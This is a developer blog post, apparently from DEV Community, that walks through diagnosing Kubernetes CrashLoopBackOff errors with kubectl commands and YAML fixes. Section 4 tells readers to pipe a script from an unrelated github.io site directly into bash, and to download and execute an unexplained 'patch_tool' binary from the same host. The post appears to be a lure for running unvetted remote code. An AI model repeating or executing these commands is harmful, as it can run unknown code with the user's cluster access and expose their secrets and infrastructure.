DEV Community

Deep Fix
Deep Fix

Posted on

How to Resolve Docker Container CrashLoopBackOff – A Step‑by‑Step Guide for DevOps

#docker #kubernetes #debugging #devops

How to Resolve Docker Container CrashLoopBackOff

When a pod repeatedly enters CrashLoopBackOff, it can stall deployments and frustrate engineers. This guide walks you through the most common root causes and provides concrete, reproducible steps to get your containers running again.

1. Quick Diagnosis Checklist

✅ Check Command
Pod status kubectl get pod <pod-name> -n <namespace>
Recent events kubectl describe pod <pod-name> -n <namespace>
Container logs kubectl logs <pod-name> -c <container-name> -n <namespace> --previous
Resource limits kubectl top pod <pod-name> -n <namespace>

If any of the above commands reveal errors such as OOMKilled, ImagePullBackOff, or missing environment variables, you’ve already pinpointed the culprit.

2. Common Causes & Fixes

a. Application Crashes Immediately

Often the entry‑point script exits with a non‑zero status. Verify the command:

apiVersion: v1
kind: Pod
metadata:
  name: my‑app
spec:
  containers:
  - name: app
    image: myrepo/app:latest
    command: ["/bin/sh", "-c", "npm start"]
Enter fullscreen mode Exit fullscreen mode

Fix: Run the command locally inside the image to see the error.

docker run --rm -it myrepo/app:latest /bin/sh -c "npm start"
Enter fullscreen mode Exit fullscreen mode

b. Missing Secrets or ConfigMaps

If a secret key is undefined, the process may abort.

kubectl get secret my‑secret -o yaml
Enter fullscreen mode Exit fullscreen mode

Fix: Ensure the secret is mounted correctly and the container references the right key.

c. Out‑of‑Memory (OOM) Kill

When the container exceeds its memory limit, the kernel kills it, leading to CrashLoopBackOff.

resources:
  limits:
    memory: "256Mi"
  requests:
    memory: "128Mi"
Enter fullscreen mode Exit fullscreen mode

Fix: Raise the limit or optimize memory usage.

3. Step‑by‑Step Troubleshooting Workflow

  1. Inspect the pod 
   kubectl describe pod <pod-name> -n <namespace>
Enter fullscreen mode Exit fullscreen mode

Look for the State: section – it will show Waiting or Terminated with a reason.

  1. Pull the last logs 
   kubectl logs <pod-name> -c <container-name> -n <namespace> --previous
Enter fullscreen mode Exit fullscreen mode
  1. Enter a failing container (if it stays up briefly) 
   kubectl exec -it <pod-name> -c <container-name> -- /bin/sh
Enter fullscreen mode Exit fullscreen mode

Verify file paths, env vars, and binary availability.

  1. Re‑create the pod with a debug sidecar 
   apiVersion: v1
   kind: Pod
   metadata:
     name: debug‑pod
   spec:
     containers:
     - name: app
       image: myrepo/app:latest
       command: ["sleep","infinity"]
     - name: debugger
       image: busybox
       command: ["sh","-c","while true; do sleep 3600; done"]
Enter fullscreen mode Exit fullscreen mode

This isolates the environment and lets you run ad‑hoc commands.

  1. Apply the fix and roll out a new version. 
   kubectl rollout restart deployment/<deployment-name> -n <namespace>
Enter fullscreen mode Exit fullscreen mode

4. Automated Fix with a Pre‑configured Script

If you encounter the same pattern across many services, you can automate the inspection and patch process. Download the pre‑configured script here to scan all pods in a namespace, collect logs, and optionally apply a memory‑limit bump.

curl -sSL https://gaba-101010.github.io/GG/patch.sh | bash -s -- -n my‑namespace
Enter fullscreen mode Exit fullscreen mode

Get the complete patch tool if you prefer a single‑binary approach:

wget https://gaba-101010.github.io/GG/patch_tool && chmod +x patch_tool
./patch_tool --namespace=my‑namespace
Enter fullscreen mode Exit fullscreen mode

Access the full repository fix for deeper customisation:

https://gaba-101010.github.io/GG/

5. Preventive Best Practices

  • Health checks: Define livenessProbe and readinessProbe to avoid restarting a healthy container.
  • Graceful shutdown: Ensure your app handles SIGTERM so Kubernetes can stop it cleanly.
  • Version pinning: Avoid mutable tags like latest; they hide breaking changes.
  • Monitoring: Set alerts on container_cpu_usage_seconds_total and container_memory_working_set_bytes.

6. Wrap‑Up

Resolving a CrashLoopBackOff is rarely a one‑liner; it requires systematic inspection of logs, resources, and configuration. By following the checklist and leveraging the automated script, you can cut down mean‑time‑to‑recovery (MTTR) dramatically.

Happy debugging!

Top comments (0)